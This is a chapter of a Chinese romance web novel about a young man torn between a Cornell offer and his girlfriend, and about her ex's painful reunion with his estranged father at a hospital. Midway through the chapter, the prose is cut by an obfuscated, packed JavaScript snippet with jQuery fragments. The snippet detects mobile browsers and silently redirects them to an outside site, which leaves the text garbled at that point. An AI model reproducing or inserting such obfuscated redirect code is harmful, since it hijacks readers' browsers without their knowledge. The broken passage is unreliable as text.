段晓月前脚刚走,苏彦就一个电话打了过来。
闻非接了。
“闻非,你怎么了啊?一晚上联系不上你我急死了!”
他抑制住自己的情绪,说道:“没什么……昨天太累了睡得很早,没听见呢。”
苏彦还是觉得可疑。
就按照闻非那个粘人的性子,不至于把睡前报备给忘了。
她有些憋不住话了。
原本一早就知道这件事,因为想听闻非做好决定亲口告诉她,自己也硬生生地憋了好久,如今两人分隔两地,她实在不想等下去了。
“闻非,你真的没什么话跟我说吗?”
“……”
这个胆小的,又不说话了。
苏彦直接说了:“原本这件事我想当面跟你说的,但现在我也不知道自己多久能回去了,我就电话你跟你说了吧。”
“闻非,你是不是收到康奈尔的offer了?”
他愣住了。
这件事情他现在只告诉了父母,没想到苏彦也知道了。
听到对面一直沉默着,苏彦叹了一口气:“闻非,我有那么吓人吗?说话。”
这段时间他一直在纠结,直到昨天知道了苏彦以前的感情经历,他彻底不知道怎么开口了。
终于,他还是承认了:“对……哪天出去跟他们吃火锅的时候我就收到了。”
“为什么不说?”苏彦是个刨根问底的性子,“你觉得我会不同意你去吗?”
“……”闻非只觉得心口酸涩,“我不想和你分开,我不想跟你异地。”
“那你就不去康奈尔了?你傻啊?”听着闻非畏畏缩缩的话语,她有点儿气不打一处来,“你肯定得接啊!”
明明是一个人在家,可闻非还是不敢哭。
自己的情绪一直是个问题,他自己也清楚,不想成为苏彦的情感负担,所以一直在她面前都极力压制着。
想的,他真的想的。
他也想在父母面前证明自己,他并不是一个无用的人。
多年的落空的希望在此时亮起,他想上前一步,但自己的另一盏灯光会等他吗?
“我再考虑一下吧……”闻非用袖口擦了擦泪珠。
他真的害怕。
即使苏彦对他并没有什么反应,甚至还很不耐烦的样子,但从这段时间的种种,他能感觉到姜沐城对苏彦并没有死心。
这跟过往的所有竞争者都不一样:从小就如此亲密的关系,对苏彦的成长轨迹了如指掌的男人,他不敢这么去赌。
自从两个人在一起,苏彦一直说自己没谈过恋爱,但闻非一直知道苏彦没说实话。
哪有第一次上床就懂成那样的……这又不是什么能无师自通的事情。
其实在这次春节跟苏彦回家之前,他也明里暗里想问她好多次,但能看出来苏彦对这件事一直跟回避,他也就不问了。
反正苏彦现在喜欢他,以前的事情何必追究呢,他也没有什么奇怪的情结,更何况……他也算后人乘凉了。
这件事他心里一直都有数,只是没想到,前男友会是姜沐城,那个从小抱着苏彦长大,对苏彦的一切了如指掌的、邻居家的哥哥姜沐城。
昨晚一夜未合眼,他真的思考了很久。
看得出来苏彦的父母和姜奶奶对此完全不知情,多半以前谈的时候就是地下恋情,完全没有公开过,所以她也一直很回避有关姜沐城的话题,以至于刚回家他想拔牙的时候都不肯去麻烦姜沐城。
或许姜沐城就是苏彦对谁都难以启齿的过往,瞒天瞒地,自然也瞒着他。
他该怪她吗?好像也不能。
毕竟她对谁都三缄其口,也没做出任何背叛他的事。
“宝宝……我想过来看看你,可以吗?”闻非觉得自己过去一趟。
“这段时间不太方便,奶奶现在情况还不好说,你过来也帮不了什么忙,稍微等等我吧,等奶奶醒过来脱离危险了我就回来。”
但至少把心里憋着的事儿说明白了,苏彦还是畅快不少,“好吧,我只是不希望你为了我就放弃这么好的大学。”
“……好,我再跟父母商量一下。”闻非带了哽咽,“你先忙吧宝宝。”
他挂断了电话。
说曹操曹操到,闻非的手机跳出来他爸闻贺的微信消息。
上一次他们俩的对话还停留在他告诉闻贺这个好消息的时候,但他只淡淡地回复了一句:【好】然后什么都没有再说。
闻非擦擦眼角,看到了他这次言简意赅的通知:【你哥订婚了,最近回来一趟。】
闻非他哥是爸爸和第一任妻子生的孩子,年纪比他大不少,跟他的关系平平淡淡,点头之交,一年半载也聊不上几句,算不上亲厚。
闻非其实挺羡慕他的,作为闻贺的第一个孩子,他自小受到了不少来自父亲的关注,虽然闻贺对他比对闻非严格多了,但长大后还是进了公司里,算是掌管了一部分的产业。
至于闻贺对闻非……钱目前是不太缺的,但闻非也不敢乱花或者主动要,只是等父亲偶尔想起来的时候从指甲缝儿里漏出来一点。
闻贺有三个子女,闻非是老二,最不受疼爱的那一个,甚至他感觉得到,闻贺有些瞧不起他。
还在读高中的时候,有一次闻贺应酬喝醉了酒,回到家里指着闻非骂,说他性格差脾气弱,什么大事都干不了,只能随他妈的路子去傍大款。
这些闻非到现在都还记得,他看着屏幕里冷漠的对话,也回了一句:【好。】
哥哥的订婚宴就在三天后,他立刻订了回S市的飞机,心里却不自觉飘到苏彦身上。
……
“你现在跟苏彦什么情况?”姜为望问道。
“早分了,还有什么情况……以后也很难有情况。”姜沐城的脸色难得的有些不太耐烦。
除了奶奶的病情,他和这个父亲不想有任何交涉。
“跟曲梓蓝的事情了解了,后面打算怎么办?”
“没有打算,我现在只想照顾好奶奶。”
姜沐城的脸很冰冷。
姜为望叹了口气,身上凛冽的气场稍微收敛了些,眼中闪过一丝难得的愧疚:“……当年的事情也是因为我才耽误的,终究是我对不起你。”
“不用了,”姜沐城不吃这一套,“当时也是我自己要过来的,怪不到你头上。”
“如果你愿意的话,这次你奶奶挺过去,出院以后,都过来S市吧,也算一家团聚。”
“团聚?一家人?”姜沐城冷笑一声,只觉得讽刺,眼角多了一抹气愤的猩红。
当初谁都不要他,现在把他当一家人了吗?
又想把他当什么?社交应酬里可以交易的人情,还是帮他扮演教子有方父亲的时尚单品?
可他还记得儿时姜为望那厌恶的眼神,不像是在看自己的亲生骨肉,而是在看一只惹人嫌恶的狗。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576632|203669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>姜沐城在S市的那几年,姜为望来看过他一次。
那时候他掀起姜沐城的额头,淡淡地问道:“你这个头上的疤是怎么回事?”
“叔叔喝醉酒踢了我一脚,我就不小心磕在柜子上了。”
那时姜沐城才刚来S市没多久,继父是个美国人。十三岁的小孩子英语没那么好,经常听不懂他讲话,在这次醉酒后终于激怒了他。
事后这个美国人敷衍地道了歉,而妈妈在一边一言不发,似乎并没有想真的主持公道,小小的姜沐城只能接受这样的道歉。
他想找爸爸,说不定爸爸能帮他。
“不知道自己躲远点儿吗?”这是他从姜为望嘴里得到的回复,连爸爸眼神都带着怀疑,“这么大的人了,打不过就算了,连辨别危险的能力都没有吗?你不知道躲吗?”
姜沐城愣在原地,似乎已经知道眼泪不会起作用,呆着神也没有哭,只是哽咽道:“爸爸,我要不还是回奶奶那里吧。”
姜为望的面色明显不耐烦了起来,“你能不能懂点事,当初是你说着要过去和你妈一起生活,现在才一年多就不乐意了?”
“我跟你妈也把你送进了S市最好的中学,这中间花了多少力气?你能不能……算了我不说了。”他摆摆手,“你奶奶年纪这么大了,照顾你?”
那……那不可以跟你吗?
他没有胆量问出这句话,他已经有答案了。
记忆在这里停止,他还记得那是姜为望的表情。
可现在,那张脸露出一丝悔恨,一丝歉意,携着苍老的皱纹和微微弯起的背脊,这让他觉得很讽刺。
姜沐城早就已经认命了,他只恨自己为什么不狠心,为什么不能狠心地什么都不管,或许那样他就不会晚一步了。
“什么时候认我是一家人了?”姜沐城几乎大喊着出来。
病房前等待的其他人都一齐看了过来。
在ICU病房前等待的都是重症病人的家属,没有一个人脸上有笑容,而如今,又对这户人家多了丝更深的怜悯。
久久等待的孙子,姗姗来迟的儿子,一眼就看得出其中的矛盾。
姜沐城已经在失控的边缘,但他还是活生生地把自己拽回来。
忍耐、深呼吸、沉默、把哭和痛咬着牙一齐咽进肚子里,这是他从小就会的本领,在一次次忽视和敷衍中变得越来越熟练,以至于成为了他的习惯。
……
而此刻,苏彦刚把酸奶冰沙喝完,猛的打了个喷嚏。
完蛋,不会刚吃点儿冰的就感冒了吧。
也可能是姜奶奶想念她了。
姜奶奶福大命大,肯定会没事的。
苏彦知道姜沐城和他肯定有话要说,又闲逛了一圈才回到医院。
结果只看见了姜沐城的身影,他坐在长椅上,垂着头,看起来已经没魂儿了。
周围的人不停望向这边,苏彦直觉出了什么事。
“你爸呢?”苏彦问道。
他抬眼,又疲惫地垂下去:“我叫他去酒店休息了。”
“行。”
苏彦转身,准备去丢空空的酸奶杯子,但手却被猛地一下拉住。
熟悉的触感和温度久违地回归掌心,让她的脑子不自觉宕机了一秒,而那边似乎也感受到了越界的信号,从手心退到指尖,再从指尖滑落,不留声息地诉说着留恋。
她听到身后男人的乞求:“别走……今天陪陪我吧……”